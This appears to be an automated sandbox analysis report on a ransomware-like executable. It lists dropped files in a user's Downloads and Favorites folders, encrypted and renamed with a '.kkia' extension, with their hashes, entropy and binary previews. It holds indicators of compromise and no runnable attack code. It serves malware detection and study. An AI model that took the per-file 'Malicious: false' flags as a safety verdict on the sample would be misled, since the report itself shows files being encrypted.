Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.840521312976269
Encrypted:	false
SSDEEP:	24:5JLDg+fQM92pn52ihMbDYrYvE80SFj9Byvaf3lKDdGRrnwj0wluUkbD:7fJ92p52iOnYrYvV0syvaMDdGREjnWD
MD5:	36C70DFFAD0D3E02B841B4E53BF0E9FF
SHA1:	FE7F9F695B80EABA4D4190EE064B14AEA7EDF0C8
SHA-256:	ECA4FFA309256427BDE8DE59E22DC823DE94DD70ABCF4EA5BCD14B0842136602
SHA-512:	B8D9413F6302FEC1202D1D63A487136E6D50A1ECD4C7ED11514A9B49827BDE2CD66364F3D9C13943993412446295B46E265763C591200E3D07C7BAC8AE6E07FE
Malicious:	false
Preview:	SQSJK.Fy. .T&.`.J......r* ..tx.{.....y/....W.t.v.Di..u`_..Z..p4o..L...W6 #.. VYQH..R&........7.2mVx..Z.....C.sb{..Q...A....80..X.$.~.S........i[8`..QE.5.o!.#G.$.C..j.\...`.bz..6......#..k4.U....s...\...94.Q..$I.......\..4,.j.=.v....G.........i.....{G..E..\|.7B..>.da..h...).\|.1...z.gQ>....Z.F..:%R.c...Y.]/...t...A....,..2..%...r:D.x)s2k.+f..B4..N6^..../......x.......P{T.m(.Mm.#...p.>cL.+..X..h7A.L.........a..!...A.b.nM....o:.>.Y.9.Z.L.Lrt.......3.=..0.f..%{.=l....PlsMg.%6........o..I.Mrq...W..^..J..9HT...D..j...U.{.E........G.....\|.>3D...!W.......Q..P.9.M..L....V....V...H..F....b.t..2l\.....7%M..LiM...<.\..2.q.....O .....p"8p....1...(8.<f.z.......7...N...:=....\&.j....cB...\|:O.X,.C..2..d..+..,`..B.9...I..?d .X)i/....Y.F....o~..Q.Z8s....q.........5??..Y.../l....HL....&Rx6..7...T.3.L.....A7(...v..?.[N...>....N..ZU..EP..E..^..nh....c.5&...G.<n.V/.....+,n.#..`I....n$..F.B.. ..?.I...Q...B..VY......+..6e{M..U...^B>....=..w..Z.H^.1Pl.6KJ0...

C:\Users\user\Downloads\SQSJKEBWDT.xlsx

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.830754843966812
Encrypted:	false
SSDEEP:	24:9IFEas4yhjHuGDgKSm1ORqZnZYOHmeM1pwVoK/MWMgK8On+hR/454e7edYkbD:9as/bLAqZnZYOH6WtK8On+aedVD
MD5:	5B9723DF821933CE08A3CF417D2F4B90
SHA1:	EF6C9E7A715E3AA0DD35B488AEBBE459FAC2E409
SHA-256:	88CA3A3D8CAD58A4D0DFA7663333B887809A5419FA87F61B4FD149CB1B404AB6
SHA-512:	B1113BE4F4E6337AE4C4E155206A2390AD454387D19B0F7D29991F94F1B0F95E7A4FFAFB55AF4989DE3AB4480DB61C5FE3EDB2DE889177D5D8450DDA37823599
Malicious:	false
Preview:	SQSJK.D%jl..!......G.H......rs.pm...1..$...2.?Y....X7....@..L..s...WF@.......1..f.X.uy....f(.W{....F.......b&A.G.=......"..K.Y.....A.4...........).L.....8.AM7.%...1...km.iJ.^...[Myw.((w..{46.;<!I.t..S.L.^.i.....6.5....O...T...@:.....J.....J.wv...^.W...$..=.MV.....,...bO.+..6?..%.D....?S.23=9.....X.._ ..s.&L.N.<..n.....e.A.F0X.J.U...n..B....2%Y.wt....X.x...D.Q..CB.6.....R....WT.3$C"YH.)........7j}.o.JJ...uype.~..kH.6.......[V.(gQ1-1...6d-}..W..r........&..T#Z..0V..f..Dd..s.i..Uk..6H?..kN..4.;...E...w.u...0.....g..%..;.XZ.7..~..v..b.../..6k.........9:...~.%...V..?....;f.e.k..#B...)q.E..7D.......B...u.d....h..........4.hl?X.i.T....U4R?.m......J..&..c.3d.t.N..oo1E"5U.......V.1.*..(..?.x..$..Z...M.}.+b.Z.[.H.........,..m.%!j.9..4.c.Ws..z.7..........o..c.!U\|...,.1u.^....(m......sAk.f..V.P...U=+.....U...S....9.........{.I..$.hl....e;...e....Vh....UX.M...:.d.q.H..++.yf...........I.).C.D.....g!..6;........{......T.....>.... 1...w..........QX.5+

C:\Users\user\Downloads\SQSJKEBWDT.xlsx.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.830754843966812
Encrypted:	false
SSDEEP:	24:9IFEas4yhjHuGDgKSm1ORqZnZYOHmeM1pwVoK/MWMgK8On+hR/454e7edYkbD:9as/bLAqZnZYOH6WtK8On+aedVD
MD5:	5B9723DF821933CE08A3CF417D2F4B90
SHA1:	EF6C9E7A715E3AA0DD35B488AEBBE459FAC2E409
SHA-256:	88CA3A3D8CAD58A4D0DFA7663333B887809A5419FA87F61B4FD149CB1B404AB6
SHA-512:	B1113BE4F4E6337AE4C4E155206A2390AD454387D19B0F7D29991F94F1B0F95E7A4FFAFB55AF4989DE3AB4480DB61C5FE3EDB2DE889177D5D8450DDA37823599
Malicious:	false
Preview:	SQSJK.D%jl..!......G.H......rs.pm...1..$...2.?Y....X7....@..L..s...WF@.......1..f.X.uy....f(.W{....F.......b&A.G.=......"..K.Y.....A.4...........).L.....8.AM7.%...1...km.iJ.^...[Myw.((w..{46.;<!I.t..S.L.^.i.....6.5....O...T...@:.....J.....J.wv...^.W...$..=.MV.....,...bO.+..6?..%.D....?S.23=9.....X.._ ..s.&L.N.<..n.....e.A.F0X.J.U...n..B....2%Y.wt....X.x...D.Q..CB.6.....R....WT.3$C"YH.)........7j}.o.JJ...uype.~..kH.6.......[V.(gQ1-1...6d-}..W..r........&..T#Z..0V..f..Dd..s.i..Uk..6H?..kN..4.;...E...w.u...0.....g..%..;.XZ.7..~..v..b.../..6k.........9:...~.%...V..?....;f.e.k..#B...)q.E..7D.......B...u.d....h..........4.hl?X.i.T....U4R?.m......J..&..c.3d.t.N..oo1E"5U.......V.1.*..(..?.x..$..Z...M.}.+b.Z.[.H.........,..m.%!j.9..4.c.Ws..z.7..........o..c.!U\|...,.1u.^....(m......sAk.f..V.P...U=+.....U...S....9.........{.I..$.hl....e;...e....Vh....UX.M...:.d.q.H..++.yf...........I.).C.D.....g!..6;........{......T.....>.... 1...w..........QX.5+

C:\Users\user\Downloads\TQDFJHPUIU.jpg

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.846609467842083
Encrypted:	false
SSDEEP:	24:38ttFmx77RsT2xooukEC791OPBvzxxWAi0dFviMDqDr7Fk7N+SpkbD:38lmxJsT2iW1O57xA0ni53ixQD
MD5:	8D20F74C97436EA5B69BC9580B86177B
SHA1:	807BDEA50C011AF1CFB9A8693EDB169F00AFFF20
SHA-256:	82B163BC5298FB46B1EC57517B2E710E3F36A1F649C87BFAACD249BF12B4DA30
SHA-512:	F796A55A753ADD002781F231C9028B9C2C43DB2BBA4DF90AFBBB7B6389725FACB00905F05060C3228871232527B53253DCAFD53B9E2B8748FC2CC10735B69D54
Malicious:	false
Preview:	TQDFJa.....M$..rV.c.....V....m......w.m?..4.\|R.r.F.V.j..Ic:.+wO'.P.U..Sp..E....O.LV.'....}F.....6w.86....d..........+....s7.T.FN.k.~.{"..)V..\|rZXx....L.F.%tNk.......G....s.y.v.i`l....(......y_{ ..;..@.y.N...o..b.B.........{...#..;........~...!.7...\|R..eWA' ...f.\5&;..k....d...,...'.d..QOy.MES...5f...kC...S.f.)D...../l....Vm..[v.q+.......:.^..0..7......SI9.~...n.j..@.x)...8......w....g.0..D...H..C..F.02...d..Fp..K7.V..x.Q#a=.b~.=..KO.,u..4.......FY.....F_.....F.z.kV.^uj8:.0A......m..A_J.U.Q.[.PjdD0G9}}.......b.....y=.TB..i..:~.e.v^....M...6..3....3.I..J.........X!.."q..p....S......y.$:..v.........(....p.....v.V. ........(.S...n!9.i....\|W.{.{..$.....U....i.S..0....' .&5.fc..e...>..(ZQ9p.7.......b8.._...[..V.,.,[..l./H...d..G..[.0<...t...i...K...n....+.bO....E.?9.L.;....6X..>.V...'\%{..E.G.g.....of..`+x..0.....l......X....A.%....Q.X.`o.bH"t..!..w.;...^XF?...7....$[.T1U.......Y...ow.....t,z.r.}....\.....O..v...[O.......8'4!W..z..~v.f

C:\Users\user\Downloads\TQDFJHPUIU.jpg.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.846609467842083
Encrypted:	false
SSDEEP:	24:38ttFmx77RsT2xooukEC791OPBvzxxWAi0dFviMDqDr7Fk7N+SpkbD:38lmxJsT2iW1O57xA0ni53ixQD
MD5:	8D20F74C97436EA5B69BC9580B86177B
SHA1:	807BDEA50C011AF1CFB9A8693EDB169F00AFFF20
SHA-256:	82B163BC5298FB46B1EC57517B2E710E3F36A1F649C87BFAACD249BF12B4DA30
SHA-512:	F796A55A753ADD002781F231C9028B9C2C43DB2BBA4DF90AFBBB7B6389725FACB00905F05060C3228871232527B53253DCAFD53B9E2B8748FC2CC10735B69D54
Malicious:	false
Preview:	TQDFJa.....M$..rV.c.....V....m......w.m?..4.\|R.r.F.V.j..Ic:.+wO'.P.U..Sp..E....O.LV.'....}F.....6w.86....d..........+....s7.T.FN.k.~.{"..)V..\|rZXx....L.F.%tNk.......G....s.y.v.i`l....(......y_{ ..;..@.y.N...o..b.B.........{...#..;........~...!.7...\|R..eWA' ...f.\5&;..k....d...,...'.d..QOy.MES...5f...kC...S.f.)D...../l....Vm..[v.q+.......:.^..0..7......SI9.~...n.j..@.x)...8......w....g.0..D...H..C..F.02...d..Fp..K7.V..x.Q#a=.b~.=..KO.,u..4.......FY.....F_.....F.z.kV.^uj8:.0A......m..A_J.U.Q.[.PjdD0G9}}.......b.....y=.TB..i..:~.e.v^....M...6..3....3.I..J.........X!.."q..p....S......y.$:..v.........(....p.....v.V. ........(.S...n!9.i....\|W.{.{..$.....U....i.S..0....' .&5.fc..e...>..(ZQ9p.7.......b8.._...[..V.,.,[..l./H...d..G..[.0<...t...i...K...n....+.bO....E.?9.L.;....6X..>.V...'\%{..E.G.g.....of..`+x..0.....l......X....A.%....Q.X.`o.bH"t..!..w.;...^XF?...7....$[.T1U.......Y...ow.....t,z.r.}....\.....O..v...[O.......8'4!W..z..~v.f

C:\Users\user\Downloads\UNKRLCVOHV.mp3

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.841540254410404
Encrypted:	false
SSDEEP:	24:+FHNYBF8Gxen9wqVKJFR3xBUO+dDl8RiaSjy7pZ/O/kdS1fxBnfGhABkQRS51kbD:+FHNrGYLAFRkO+wRi/WlRO/kdStfGhcH
MD5:	82C09E940C2C48602B4CF2C3A5C5C193
SHA1:	9AC8D2A99FE912B02E1585BA15B614C224062CBF
SHA-256:	3C6734E5AF624B6DAFF658C17CBB066D8ADBE7570CF7FEBC19D13A53C81434F1
SHA-512:	F814FB188807A3C7DBBE25737F539DAF1431BBE5E94C64816BC4C9575ADA7094F734AC04C262E8AF8B4594EB61C8A6F4B302F27FD8AEDF415824840A039F8C5E
Malicious:	false
Preview:	UNKRL.........u.V4.,9..HE.............\$AU.#..j.cY...t&K.c.J.m.M0..5...+.U......,......slTFJ.#....;v$\\|..?p..+Bn_....e..M..^r....$M..N!g.7..e...%+..+.}.(..F......cj.. NP.DS\....CX.....6'...R..Z.`.l.......9....;DN6...:.u..3'..s......... ..p.D....F..D....`0.\..ZuQ@h...^y....H1O{J.6 ...4t.X..%.`...^_<V...Z...G.7^.h.....;^P[>...R.\|Y0.4 ....$..4.s...y...@..^+X......\[M.h=.dG..X5g6.%D.M...b...G.......L....5...5...D.....jA..o.H..\|.ud6....RZ....(`..o.b.....F.....Fb........ko....{.....8..`.i..[...z.bi%..r"..T....0k.8B.A....;....4..h.V...O.c......3..#.R.1.].....g...H.1P..:....l..u['_..=....h8`..Ah...\-H5+ ..r>......*K..J..4?...-....+.R../h..3..pJ.jy......,..glk...@..B..bE.`W2..xf.uZ...[.=..e.......\....F.........O.....C(..>$..Z.H.....~.........{.t=v...ZI.g0.$.Y(.......nx<o.\|..2./.\|..$[AE.......0~....A......L.(...%...4dA.M.(@...\l(.,}xR..o.l..:..e.(.....`...Q;..1...e...<...Wx.\...m.\|1.._...6-QZHQ"..9...Y..GS..H,.\|U..+..P....=.....P..Oj\|...

C:\Users\user\Downloads\UNKRLCVOHV.mp3.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.841540254410404
Encrypted:	false
SSDEEP:	24:+FHNYBF8Gxen9wqVKJFR3xBUO+dDl8RiaSjy7pZ/O/kdS1fxBnfGhABkQRS51kbD:+FHNrGYLAFRkO+wRi/WlRO/kdStfGhcH
MD5:	82C09E940C2C48602B4CF2C3A5C5C193
SHA1:	9AC8D2A99FE912B02E1585BA15B614C224062CBF
SHA-256:	3C6734E5AF624B6DAFF658C17CBB066D8ADBE7570CF7FEBC19D13A53C81434F1
SHA-512:	F814FB188807A3C7DBBE25737F539DAF1431BBE5E94C64816BC4C9575ADA7094F734AC04C262E8AF8B4594EB61C8A6F4B302F27FD8AEDF415824840A039F8C5E
Malicious:	false
Preview:	UNKRL.........u.V4.,9..HE.............\$AU.#..j.cY...t&K.c.J.m.M0..5...+.U......,......slTFJ.#....;v$\\|..?p..+Bn_....e..M..^r....$M..N!g.7..e...%+..+.}.(..F......cj.. NP.DS\....CX.....6'...R..Z.`.l.......9....;DN6...:.u..3'..s......... ..p.D....F..D....`0.\..ZuQ@h...^y....H1O{J.6 ...4t.X..%.`...^_<V...Z...G.7^.h.....;^P[>...R.\|Y0.4 ....$..4.s...y...@..^+X......\[M.h=.dG..X5g6.%D.M...b...G.......L....5...5...D.....jA..o.H..\|.ud6....RZ....(`..o.b.....F.....Fb........ko....{.....8..`.i..[...z.bi%..r"..T....0k.8B.A....;....4..h.V...O.c......3..#.R.1.].....g...H.1P..:....l..u['_..=....h8`..Ah...\-H5+ ..r>......*K..J..4?...-....+.R../h..3..pJ.jy......,..glk...@..B..bE.`W2..xf.uZ...[.=..e.......\....F.........O.....C(..>$..Z.H.....~.........{.t=v...ZI.g0.$.Y(.......nx<o.\|..2./.\|..$[AE.......0~....A......L.(...%...4dA.M.(@...\l(.,}xR..o.l..:..e.(.....`...Q;..1...e...<...Wx.\...m.\|1.._...6-QZHQ"..9...Y..GS..H,.\|U..+..P....=.....P..Oj\|...

C:\Users\user\Downloads\ZIPXYXWIOY.png

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.877317705846052
Encrypted:	false
SSDEEP:	24:vqtH5EFjR6fqSr+nySUltT42SW/HBSEzBXUobOT4uJbKRACkbD:vqJ5EFCNSU3U2H/QmBLyT4uJORAnD
MD5:	E93905C50CD028AE9390427F0588D474
SHA1:	B13E1623D50E021C8DA85F13292A92D4DD0BF7C3
SHA-256:	943B176E45061478EE65168E8C9C64E998036D55A83123FA7AC68BA382AAE651
SHA-512:	128010F852AF5B4970E47EAAF626812F6819D8BFF7CB8A9AD5C75E081941F7CDA5BD68C6822D4D3031C7DBAA4CB5A1E91AA38651593535B487BD957A23E003D8
Malicious:	false
Preview:	ZIPXYQ\|.....X...%...}.....K..FbKl..i..B....K.N.X..!.Bbb.T..s..z.iS..Uo..n...`T.q....J{.....K.x_b._..;$\|`tz....Y.Kk..t.L"E.P..8..OZ....o.`.W....M.xn=...7)._!.c:...........-%.9..Hu...[...kQ.....o.++.ba...5...6P..w.z,_..$.Z.4...;..#A.v.x.]d.o.......@,A.3..O..1...........)..V...s.L...l.^..].\|;.S.vd.g../..=.....1.A....9.6...^.b).n ...-.U.d.K.......$v......0.....{..E+..^..0....L..e^.%.='....3....D'..9Ih..U..?....[....-.Q..................?...{..=......OVTl....^.y.)\|.!b.....Z.....-..n.3...z.xw@.S.i.=/...IY..J....l.....r...Z...u....um..c.u...Mu)_..\....mK...r...?6...D.z@@<...."o.z...%.x..9-.d...&Y....V.#..1.....II..1...ep.4.Ph.8#.S...{.@m.MmH..v-..L.Y.....Z.y....([.....8...#6U.P....E....6z{...Y.....Q9.}....,)..t.....C.%..\9....b&......}...<..UytP...N.%.30.......h.L..F.i.<..un.&.....^!.@....<...FD...[d...Q}>..{.\,.E..........~....n~.7\|..:!...h.G...Q..T....~;..Cl.oC....f.t.$eY...:.O..~Z....:cT.;..j..u.W@.....L...S.9....GM&...z..:...?N..O^

C:\Users\user\Downloads\ZIPXYXWIOY.png.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.877317705846052
Encrypted:	false
SSDEEP:	24:vqtH5EFjR6fqSr+nySUltT42SW/HBSEzBXUobOT4uJbKRACkbD:vqJ5EFCNSU3U2H/QmBLyT4uJORAnD
MD5:	E93905C50CD028AE9390427F0588D474
SHA1:	B13E1623D50E021C8DA85F13292A92D4DD0BF7C3
SHA-256:	943B176E45061478EE65168E8C9C64E998036D55A83123FA7AC68BA382AAE651
SHA-512:	128010F852AF5B4970E47EAAF626812F6819D8BFF7CB8A9AD5C75E081941F7CDA5BD68C6822D4D3031C7DBAA4CB5A1E91AA38651593535B487BD957A23E003D8
Malicious:	false
Preview:	ZIPXYQ\|.....X...%...}.....K..FbKl..i..B....K.N.X..!.Bbb.T..s..z.iS..Uo..n...`T.q....J{.....K.x_b._..;$\|`tz....Y.Kk..t.L"E.P..8..OZ....o.`.W....M.xn=...7)._!.c:...........-%.9..Hu...[...kQ.....o.++.ba...5...6P..w.z,_..$.Z.4...;..#A.v.x.]d.o.......@,A.3..O..1...........)..V...s.L...l.^..].\|;.S.vd.g../..=.....1.A....9.6...^.b).n ...-.U.d.K.......$v......0.....{..E+..^..0....L..e^.%.='....3....D'..9Ih..U..?....[....-.Q..................?...{..=......OVTl....^.y.)\|.!b.....Z.....-..n.3...z.xw@.S.i.=/...IY..J....l.....r...Z...u....um..c.u...Mu)_..\....mK...r...?6...D.z@@<...."o.z...%.x..9-.d...&Y....V.#..1.....II..1...ep.4.Ph.8#.S...{.@m.MmH..v-..L.Y.....Z.y....([.....8...#6U.P....E....6z{...Y.....Q9.}....,)..t.....C.%..\9....b&......}...<..UytP...N.%.30.......h.L..F.i.<..un.&.....^!.@....<...FD...[d...Q}>..{.\,.E..........~....n~.7\|..:!...h.G...Q..T....~;..Cl.oC....f.t.$eY...:.O..~Z....:cT.;..j..u.W@.....L...S.9....GM&...z..:...?N..O^

C:\Users\user\Favorites\Amazon.url

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	445
Entropy (8bit):	7.358202770301196
Encrypted:	false
SSDEEP:	12:Q/u9UOHKjTlNLkn8qPz43JMRzPrgcii9a:Q/u2OHKfjLpZMdkbD
MD5:	98F106EA46D0247B845C6745CB21A491
SHA1:	48CC005684082C7DB65C4328B01410DBE14B48A6
SHA-256:	51E4393DE26E9109DD9C6957C127ABFCB143DA5921C0506175436BA6CA9B9C4E
SHA-512:	B35F92E62F69BCB59808922077FDCED7690A4FE3F6A52B4D298AEC60564D1367B0FED33B598B53DB93BD008855B188A45ACD29588C4397F776CCCABCEC012FED
Malicious:	false
Preview:	[{0005'..=.......1.pm).9bE7..b%u.....n.....nU..hn.....#W. ....q..........T....+.N.=......%.?G..bQ..~.0;.`mB...N.\|.<x/....N3.1{.#...x#4&.....r;..Q.>.........f........C......D....(j.%8.p.'\|^...<....]..h.%...q......J..is.q.d..T.D.]..fZ...P.Xf..cl97v. ..J..c.Z.)O.f..Z]an..q..x.........C4....>E.......~r.f1z....7...j.t.....7........W.Q`..dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Amazon.url.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	445
Entropy (8bit):	7.358202770301196
Encrypted:	false
SSDEEP:	12:Q/u9UOHKjTlNLkn8qPz43JMRzPrgcii9a:Q/u2OHKfjLpZMdkbD
MD5:	98F106EA46D0247B845C6745CB21A491
SHA1:	48CC005684082C7DB65C4328B01410DBE14B48A6
SHA-256:	51E4393DE26E9109DD9C6957C127ABFCB143DA5921C0506175436BA6CA9B9C4E
SHA-512:	B35F92E62F69BCB59808922077FDCED7690A4FE3F6A52B4D298AEC60564D1367B0FED33B598B53DB93BD008855B188A45ACD29588C4397F776CCCABCEC012FED
Malicious:	false
Preview:	[{0005'..=.......1.pm).9bE7..b%u.....n.....nU..hn.....#W. ....q..........T....+.N.=......%.?G..bQ..~.0;.`mB...N.\|.<x/....N3.1{.#...x#4&.....r;..Q.>.........f........C......D....(j.%8.p.'\|^...<....]..h.%...q......J..is.q.d..T.D.]..fZ...P.Xf..cl97v. ..J..c.Z.)O.f..Z]an..q..x.........C4....>E.......~r.f1z....7...j.t.....7........W.Q`..dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Bing.url

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	542
Entropy (8bit):	7.534681222743494
Encrypted:	false
SSDEEP:	12:F0uPCHx01CkPi2aS4vhD4x02UnWOHLKPiCVOvt4LRsAtO/5Prgcii9a:zCS5qPS4JD4x0AOrKqCVHtsMOlkbD
MD5:	9FFC9E1F93627836BD44111944C6C911
SHA1:	A4D79364318398251CBDFBF6FA241CA3F50035B1
SHA-256:	BD6533578A30DC6B6956E5E090CE11FE66DC6D8927EEB78147D463ED74F32722
SHA-512:	860568B254CBF54A3796B81F29147047252F21231DA6B202ECBBB39D84547B77A4A834548342BCAD2B12C8454A47FF1D5CAEB27641E9EC306729D1D3C11BF3FE
Malicious:	false
Preview:	[{000.}.R`\|.S..QY..Q...RFZ.f.a...F.[..!.C.B.vj..2.?.E.?..+UQl..u...@CJ].UR.\|.+.H..a...'..%...F}...$..>..=..k_.^ZJ.}...b.7..)?..t......#..(5..e.....[...:....Y0\|..%.2..\....FQx5T..i...&.....d.x...a.:......a._Uc.?..d......aW..&qF.)..$.x4.4(..c.]..4czPc.....\.oBL..'...0..A..."G..`..r3......./13j1.._.+.....@.f1....d...j..c}].2....T.I..,>.?....5,.VMS..u,...<3..eY...^.....!.<..&.P C.W...,....{....`..\|*....T.G..ro.i\oC[..].5..p"."s.o44...}dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Bing.url.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	542
Entropy (8bit):	7.534681222743494
Encrypted:	false
SSDEEP:	12:F0uPCHx01CkPi2aS4vhD4x02UnWOHLKPiCVOvt4LRsAtO/5Prgcii9a:zCS5qPS4JD4x0AOrKqCVHtsMOlkbD
MD5:	9FFC9E1F93627836BD44111944C6C911
SHA1:	A4D79364318398251CBDFBF6FA241CA3F50035B1
SHA-256:	BD6533578A30DC6B6956E5E090CE11FE66DC6D8927EEB78147D463ED74F32722
SHA-512:	860568B254CBF54A3796B81F29147047252F21231DA6B202ECBBB39D84547B77A4A834548342BCAD2B12C8454A47FF1D5CAEB27641E9EC306729D1D3C11BF3FE
Malicious:	false
Preview:	[{000.}.R`\|.S..QY..Q...RFZ.f.a...F.[..!.C.B.vj..2.?.E.?..+UQl..u...@CJ].UR.\|.+.H..a...'..%...F}...$..>..=..k_.^ZJ.}...b.7..)?..t......#..(5..e.....[...:....Y0\|..%.2..\....FQx5T..i...&.....d.x...a.:......a._Uc.?..d......aW..&qF.)..$.x4.4(..c.]..4czPc.....\.oBL..'...0..A..."G..`..r3......./13j1.._.+.....@.f1....d...j..c}].2....T.I..,>.?....5,.VMS..u,...<3..eY...^.....!.<..&.P C.W...,....{....`..\|*....T.G..ro.i\oC[..].5..p"."s.o44...}dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Facebook.url

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	447
Entropy (8bit):	7.438845478908463
Encrypted:	false
SSDEEP:	12:CEzma7hOxUxeCwUEqZN3QNUBbwWGqUjiQFEPrgcii9a:HKd8ewHQOBUW9RtkbD
MD5:	E51641FB0B29815AA2F584AA50F79C0B
SHA1:	5BC1AAF82F612B5FDE248D2133842547AFE6D85A
SHA-256:	A6E92A03CBE12D1FABFEFFD157C44F32E09C301CAAA7843A19956F4A3A467813
SHA-512:	26FAE51187FDE7540612D11AE86E9FFB38856CAE71EDBF2DE40EDB61990C6164E00A331DD47A20E0277D5A5485869D465904820A0EACD6B64244B348F884478E
Malicious:	false
Preview:	[{000y........a.E....E.u$Z...........Cg...M.K.2.g.y....R(UKe....iqZ....m&.. .a..j..i..BY.D..?88....&..../...1;....=..$F....\|n....b..~0..-....g.:..........t% .f..W....w.......C...((.....`....U...9...........gv.....9.3.+....[.5. ....yC.c2.W.......+.XC6.9.k..........\|Xz.].7?>.+....m8......K......P*...%t/.i... ........H.....!.@;.X,"F?...-\|..'S8./..s...7.dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Facebook.url.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	447
Entropy (8bit):	7.438845478908463
Encrypted:	false
SSDEEP:	12:CEzma7hOxUxeCwUEqZN3QNUBbwWGqUjiQFEPrgcii9a:HKd8ewHQOBUW9RtkbD
MD5:	E51641FB0B29815AA2F584AA50F79C0B
SHA1:	5BC1AAF82F612B5FDE248D2133842547AFE6D85A
SHA-256:	A6E92A03CBE12D1FABFEFFD157C44F32E09C301CAAA7843A19956F4A3A467813
SHA-512:	26FAE51187FDE7540612D11AE86E9FFB38856CAE71EDBF2DE40EDB61990C6164E00A331DD47A20E0277D5A5485869D465904820A0EACD6B64244B348F884478E
Malicious:	false
Preview:	[{000y........a.E....E.u$Z...........Cg...M.K.2.g.y....R(UKe....iqZ....m&.. .a..j..i..BY.D..?88....&..../...1;....=..$F....\|n....b..~0..-....g.:..........t% .f..W....w.......C...((.....`....U...9...........gv.....9.3.+....[.5. ....yC.c2.W.......+.XC6.9.k..........\|Xz.].7?>.+....m8......K......P*...%t/.i... ........H.....!.@;.X,"F?...-\|..'S8./..s...7.dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Google.url

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	445
Entropy (8bit):	7.459643030604753
Encrypted:	false
SSDEEP:	12:EQd6l4DQ6Sxk8QVhFzx+Z37XH0MZju+l5b13UzPrgcii9a:xd6iM60k5zx+J7XlZjZbxCkbD
MD5:	F5C13242CBF392D6DF8D0F296AFFA6C8
SHA1:	40025093F305F60932F83677ACE21073E95E784B
SHA-256:	BEB8DA74C3B53A04476AFCF17A849574612441A9BE5C289C02463DDD8909284A
SHA-512:	1C9CABEEFDEB79969AF30728279CBD5D0D8D6FEF0F1D44550263811B7F5954D203A165F0FB2FC7D4603A9FAD2659B3617894DF5053BDFEF52C19CD513E3E9A2A
Malicious:	false
Preview:	[{000D.Li)..l.w.m.4.+..r{....b..&b).4jpj.:..`....}......V....>>2.8.'S4.e..\|.O...<;h.....<.3.Z..._]....C....m.n.N..].W.~O_7..........l...>........:Na<..<M.TRM+...[.7..G...t..C?\..m.....K....<!.......#-K..f.../..Xh.x...9.Lmf....q....$.H..v.l!.u../@..S..{.8i..X$BZ..T.AZ.....G........W%m.../..3....j)...-OMM.`....v..E.l....4...gW..IC\x....5.H.-...T.dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Google.url.kkia (copy)

Download File

